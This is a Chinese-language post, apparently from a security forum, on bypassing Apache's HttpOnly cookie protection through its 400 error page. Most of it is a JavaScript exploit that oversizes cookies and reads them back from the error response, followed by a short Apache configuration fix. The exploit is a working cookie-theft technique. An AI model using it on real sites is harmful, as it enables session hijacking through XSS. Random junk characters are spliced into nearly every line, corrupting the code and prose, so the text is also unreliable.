很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
+ i. C: Y# l' G) _5 U. M) u5 U( w) t1 p/ W G! v) x" i
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:1 ]9 h6 A. m# j' g
% l9 }# b) k( ?8 V
: B( z( Z: B+ W3 y" t7 s// http://www.exploit-db.com/exploits/18442/% D' }9 b7 E/ }# F0 b
function setCookies (good) {
5 u$ k3 B) F h% U; L) L// Construct string for cookie value
2 v7 C2 G4 C+ Gvar str = "";
0 y1 s8 r4 v, i# t$ pfor (var i=0; i< 819; i++) {
; f5 d+ Y9 L( G6 }. r- {str += "x";8 L4 R( g3 _* J4 P: q( v
}2 p( v/ A6 P: z& {7 y
// Set cookies
: R# r: I# _8 Rfor (i = 0; i < 10; i++) {
: g5 z Q# k, k) l// Expire evil cookie
# _; W Y& f1 W& L" O' qif (good) {2 N* U+ p2 H- A; A G1 n
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
/ O3 n; i% A! V}
& o7 S# F. M* R* O& l( h// Set evil cookie
# {' Q- N5 M+ y: Celse {
4 B% z3 [1 u0 ~* O; A9 ?var cookie = "xss"+i+"="+str+";path=/";
2 h9 z. F0 B" ~5 U( ?1 R( _}
v* ~. P9 i2 k+ q$ o7 Adocument.cookie = cookie;7 d5 }6 b. v6 F* L v# f8 V
}
/ G5 n/ P/ V9 a9 l q" I ^* [}2 }0 D* ^- d' M1 t1 k9 G
function makeRequest() {
& v: X- g; T$ B7 n5 p h; lsetCookies(); Z0 ~0 J( y$ G+ t; A/ T' Y+ B
function parseCookies () {; h& |/ C( t1 j7 A- q8 s* l4 k
var cookie_dict = {};0 ?$ j, n1 b0 i5 O; j5 I# K
// Only react on 400 status6 |$ D- Q, q% k' |# N! E; v
if (xhr.readyState === 4 && xhr.status === 400) {
& T0 R) c7 i9 P6 J) H( \ K// Replace newlines and match <pre> content% l: U5 g8 Y$ c+ w7 [6 F
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
$ X; U1 h# W) K- sif (content.length) {
) P4 y5 r5 i% z v+ l6 O6 n// Remove Cookie: prefix- a9 l' \2 G3 m
content = content[1].replace("Cookie: ", "");9 S- S' W u+ M0 g" s- R: B
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);: g% Y% t: c" X7 U; s& Q4 U& {
// Add cookies to object" V2 o/ c- ^) B8 f
for (var i=0; i<cookies.length; i++) {
: L) {6 p8 A; dvar s_c = cookies.split('=',2);
1 e6 g9 V0 J$ i e; ?+ B' L' Fcookie_dict[s_c[0]] = s_c[1];2 L( u; o- X8 d3 e
}
" [- ?/ J0 y- q4 S( {}
+ _+ D8 }# \3 E j4 m// Unset malicious cookies3 v# V; s- h5 ^% t$ J
setCookies(true);
% B- h) V& Z; U! Q* T9 talert(JSON.stringify(cookie_dict));: g- f* }2 ^- {8 J- W9 {/ {
}
- j1 ]$ L5 S+ |2 X5 ?" r% L+ ?}1 e0 n8 V, c# w. h5 |0 j
// Make XHR request
/ o0 p& o1 i& A7 {6 Avar xhr = new XMLHttpRequest();
: e+ n8 Y& L! C3 c" ^ l6 H( ^xhr.onreadystatechange = parseCookies;0 e- y' r& y d, W! d2 c( a
xhr.open("GET", "/", true);
! P" w& P6 ^ O e$ C# H) S6 ~xhr.send(null);' ` P8 Q3 M# p2 i( Q! l, V
}
' G0 z6 q6 `( o" [+ [( `3 CmakeRequest();
' x- g" F% I; L0 O/ z# ?5 R2 w h1 x2 Q T
你就能看见华丽丽的400错误包含着cookie信息。/ w$ w3 s9 \8 B/ D" R
6 W( Y- O v& N$ W下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#1 Z: g3 N; e! O$ R/ K1 `3 d
( q$ i( Y; ?2 [! \# b% j1 Q修复方案:1 l: R% `1 j# U- I3 c& v* a7 y
8 F6 ]( _: f! b( u
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
) y4 G, O5 q9 C. L% J7 o9 A# l) Q. P( W8 Q
In the event of a problem or error, Apachecan be configured to do one of four things,
. ~8 A; m( a% A" e9 f- v. d* \7 \4 I9 m3 d$ S
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息& F+ ]: H* X" ?# b2 f
2. output acustomized message输出一段信息
# X) H9 q O2 w" z# a3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
+ k* v5 v1 y; t- W* }9 ^( q5 {4. redirect to an external URL to handle theproblem/error转向一个外部URL
% n1 v/ R" s4 s$ c- K
/ t; p( V7 d; o9 R+ S, S1 u& k经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
/ y+ E1 W+ \! r# W$ Y! _% j; Z8 R- Q; j3 d
Apache配置:+ F7 L( M3 |0 L' } o$ F
5 h7 `4 L6 W0 @8 T% G
ErrorDocument400 " security test"5 ?+ Q4 |2 p7 F2 h+ r
' ?2 E( {" f6 s/ ~5 f
当然,升级apache到最新也可:)。& h8 H: J+ S9 Z- O) O
. ~7 ^& A& g- L; C/ M7 L- a参考:http://httpd.apache.org/security/vulnerabilities_22.html0 x6 d6 m& I# B: O7 I
! L0 M0 r- i" H$ ]' v, M; o3 q |